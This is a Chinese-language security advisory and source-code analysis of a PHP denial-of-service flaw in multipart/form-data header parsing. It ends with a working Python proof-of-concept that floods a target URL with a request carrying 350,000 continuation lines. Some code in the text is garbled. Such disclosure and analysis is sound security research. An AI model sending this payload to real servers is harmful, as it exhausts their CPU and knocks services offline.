作者：LiuShusheng_0_

0x00 摘要

---

PHP解析multipart/form-datahttp請求的body part請求頭時，重複複製字串導致DOS。遠端攻擊者透過傳送惡意構造的multipart/form-data請求，導致伺服器CPU資源被耗盡，從而遠端DOS伺服器。

影響範圍：

PHP所有版本

0x01 漏洞入口

---

PHP原始碼中main/ rfc1867.c負責解析multipart/form-data協議，DOS漏洞出現在main/rfc46675pxultipart_buffer_headers函式。

在詳細分析漏洞函式前，先分析進入漏洞函式的路徑。PHP解析multipart/form-data http請求體的入口函式在SAPI_POST_HANDLER_FUNC(rfc1867.c中的函式)，程式碼如下。

#!c
/* Get the boundary */
boundary= strstr(content_type_dup, "boundary");
 if(!boundary) {
     intcontent_type_len = strlen(content_type_dup);
     char*content_type_lcase = estrndup(content_type_dup, content_type_len);

     php_strtolower(content_type_lcase,content_type_len);
     boundary= strstr(content_type_lcase, "boundary");
     if(boundary) {
             boundary= content_type_dup + (boundary - content_type_lcase);
     }
     efree(content_type_lcase);
  }
  if(!boundary || !(boundary = strchr(boundary, '='))) {
       sapi_module.sapi_error(E_WARNING,"Missing boundary in multipart/form-data POST data");
       return;
   }
   boundary++;
   boundary_len= strlen(boundary);
   …
   …
   while(!multipart_buffer_eof(mbuff TSRMLS_CC))
   {
                   charbuff[FILLUNIT];
                   char*cd = NULL, *param = NULL, *filename = NULL, *tmp = NULL;
                   size_tblen = 0, wlen = 0;
                   off_toffset;

                   zend_llist_clean(&header);

                   if(!multipart_buffer_headers(mbuff, &header TSRMLS_CC)) {
                            gotofileupload_done;
                   }

SAPI_POST_HANDLER_FUNC函式首先解析請求的boundary，

0x02 漏洞函式multipart_buffer_headers執行邏輯

---

進入漏洞函式，本段先分析漏洞函式的執行邏輯，下一段根據函式執行邏輯詳細分析漏洞的原理。multipart_buffer_headers函式原始碼如下：

#!c
/* parse headers */
static intmultipart_buffer_headers(multipart_buffer *self, zend_llist *header TSRMLS_DC)
{
         char*line;
         mime_header_entryprev_entry = {0}, entry;
         intprev_len, cur_len;

         /*didn't find boundary, abort */
         if(!find_boundary(self, self->boundary TSRMLS_CC)) {
                   return0;
         }

         /*get lines of text, or CRLF_CRLF */

         while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' )
         {
                   /*add header to table */
                   char*key = line;
                   char*value = NULL;

                   if(php_rfc1867_encoding_translation(TSRMLS_C)) {
                            self->input_encoding= zend_multibyte_encoding_detector(line, strlen(line), self->detect_order,self->detect_order_size TSRMLS_CC);
                   }

                   /*space in the beginning means same header */
                   if(!isspace(line[0])) {
                            value= strchr(line, ':');
                   }

                   if(value) {
                            *value= 0;
                            do{ value++; } while(isspace(*value));

                            entry.value= estrdup(value);
                            entry.key= estrdup(key);

                   }else if (zend_llist_count(header)) { /* If no ':' on the line, add to previousline */

                            prev_len= strlen(prev_entry.value);
                            cur_len= strlen(line);

                            entry.value= emalloc(prev_len + cur_len + 1);
                            memcpy(entry.value,prev_entry.value, prev_len);
                            memcpy(entry.value+ prev_len, line, cur_len);
                            entry.value[cur_len+ prev_len] = '\0';

                            entry.key= estrdup(prev_entry.key);

                            zend_llist_remove_tail(header);
                   }else {
                            continue;
                   }

                   zend_llist_add_element(header,&entry);
                   prev_entry= entry;
         }

         return1;
}

multipart_buffer_headers函式首先找boundary，如果找到boundary就執行以下程式碼，逐行讀取請求的輸入以解析body port header:

#!c
while((line = get_line(self TSRMLS_CC)) && line[0] != '\0' ) { … }

當使用get_line讀入一行字元，如果該行第一個字元line[0]不是空白字元, 查詢line是否存在':'。

如果line存在字元':'：

value指向':'所在的記憶體地址。這時if(value)條件成立，成功解析到(header,value)對entry。呼叫zend_llist_add_element(header, &entry)儲存，並使用prev_entry記錄當前解析到的header，用於解析下一行。

否則，line不存在字元':'：

認為這一行的內容是上一行解析到header對應value的值，因此進行合併。合併操作執行以下程式碼。

#!c
prev_len= strlen(prev_entry.value);
cur_len= strlen(line);

entry.value= emalloc(prev_len + cur_len + 1); //為合併value重新分片記憶體
memcpy(entry.value,prev_entry.value, prev_len); //複製上一行解析到header對應value
memcpy(entry.value+ prev_len, line, cur_len);   //把當前行作為上一行解析到header的value值，並複製到上一行value值得後面。
entry.value[cur_len+ prev_len] = '\0';

entry.key= estrdup(prev_entry.key);

zend_llist_remove_tail(header);

首先，為了合併value重新分配記憶體，接著複製上一行解析到的value值到新分配的內容，然後把當前行的字串作為上一行解析到header的value值，並複製到value值得後面。最後呼叫zend_llist_remove_tail(header)刪除上一行的記錄。執行完後獲得了新的entry，呼叫zend_llist_add_element(header,&entry)記錄得到的header名值對(header,value)。

0x03 漏洞原理

---

在multipart_buffer_headers函式解析header對應value時，value值存在n行。每行的字串以空白符開頭或不存字元':'，都觸發以下合併value的程式碼塊。那麼解析header的value就要執行(n-1)次合併value的程式碼塊。該程式碼塊進行1次記憶體分配，2次記憶體複製，1次記憶體釋放。當value值越來越長，將消耗大量的cpu時間。如果以複製一個位元組為時間複雜度單位，value的長度為m，時間複雜度為m*m.

#!c
prev_len= strlen(prev_entry.value);
     cur_len= strlen(line);

     entry.value= emalloc(prev_len + cur_len + 1); //1次分片記憶體
     memcpy(entry.value,prev_entry.value, prev_len); //1次複製
     memcpy(entry.value+ prev_len, line, cur_len);   //1次複製
     entry.value[cur_len+ prev_len] = '\0';

     entry.key= estrdup(prev_entry.key);

     zend_llist_remove_tail(header);//1次記憶體釋放

0x04 利用

---

構造像以下惡意的http請求，當存在350000行a\n時，在我的測試環境中，一個http請求將消耗10s的cpu時間。每隔若干秒，同時併發多個請求，將導致server端cpu資源長期耗盡，從而到達DOS。總的來說，利用方式和Hash Collision DOS一樣。

------WebKitFormBoundarypE33TmSNWwsMphqz
Content-Disposition:form-data; name="file"; filename="s
a
a
a
…
…
…
a"
Content-Type:application/octet-stream

why is it?
------WebKitFormBoundarypE33TmSNWwsMphqz

0x05 POC

---

#!python
'''
Author: Shusheng Liu,The Department of Security Cloud, Baidu
email: [email protected]
'''
import sys
import urllib,urllib2
import datetime
from optparse import OptionParser

def http_proxy(proxy_url):

    proxy_handler = urllib2.ProxyHandler({"http" : proxy_url})
    null_proxy_handler = urllib2.ProxyHandler({})
    opener = urllib2.build_opener(proxy_handler)
    urllib2.install_opener(opener)
#end http_proxy 

def check_php_multipartform_dos(url,post_body,headers):
    req = urllib2.Request(url)
    for key in headers.keys():
        req.add_header(key,headers[key])
    starttime = datetime.datetime.now();
    fd = urllib2.urlopen(req,post_body)
    html = fd.read()
    endtime = datetime.datetime.now()
    usetime=(endtime - starttime).seconds
    if(usetime > 5):
        result = url+" is vulnerable";
    else:
        if(usetime > 3):
            result = "need to check normal respond time"
    return [result,usetime]
#end


def main():
    #http_proxy("http://127.0.0.1:8089")
    parser = OptionParser()
    parser.add_option("-t", "--target", action="store", 
                  dest="target", 
                  default=False, 
          type="string",
                  help="test target")
    (options, args) = parser.parse_args()
    if(options.target):
    target = options.target
    else:
    return;

    Num=350000
    headers={'Content-Type':'multipart/form-data; boundary=----WebKitFormBoundaryX3B7rDMPcQlzmJE1',
            'Accept-Encoding':'gzip, deflate',
            'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.111 Safari/537.36'}
    body = "------WebKitFormBoundaryX3B7rDMPcQlzmJE1\nContent-Disposition: form-data; name=\"file\"; filename=sp.jpg"
    payload=""
    for i in range(0,Num):
        payload = payload + "a\n"
    body = body + payload;
    body = body + "Content-Type: application/octet-stream\r\n\r\ndatadata\r\n------WebKitFormBoundaryX3B7rDMPcQlzmJE1--"
    print "starting...";
    respond=check_php_multipartform_dos(target,body,headers)
    print "Result : "
    print respond[0]
    print "Respond time : "+str(respond[1]) + " seconds";

if __name__=="__main__":
    main()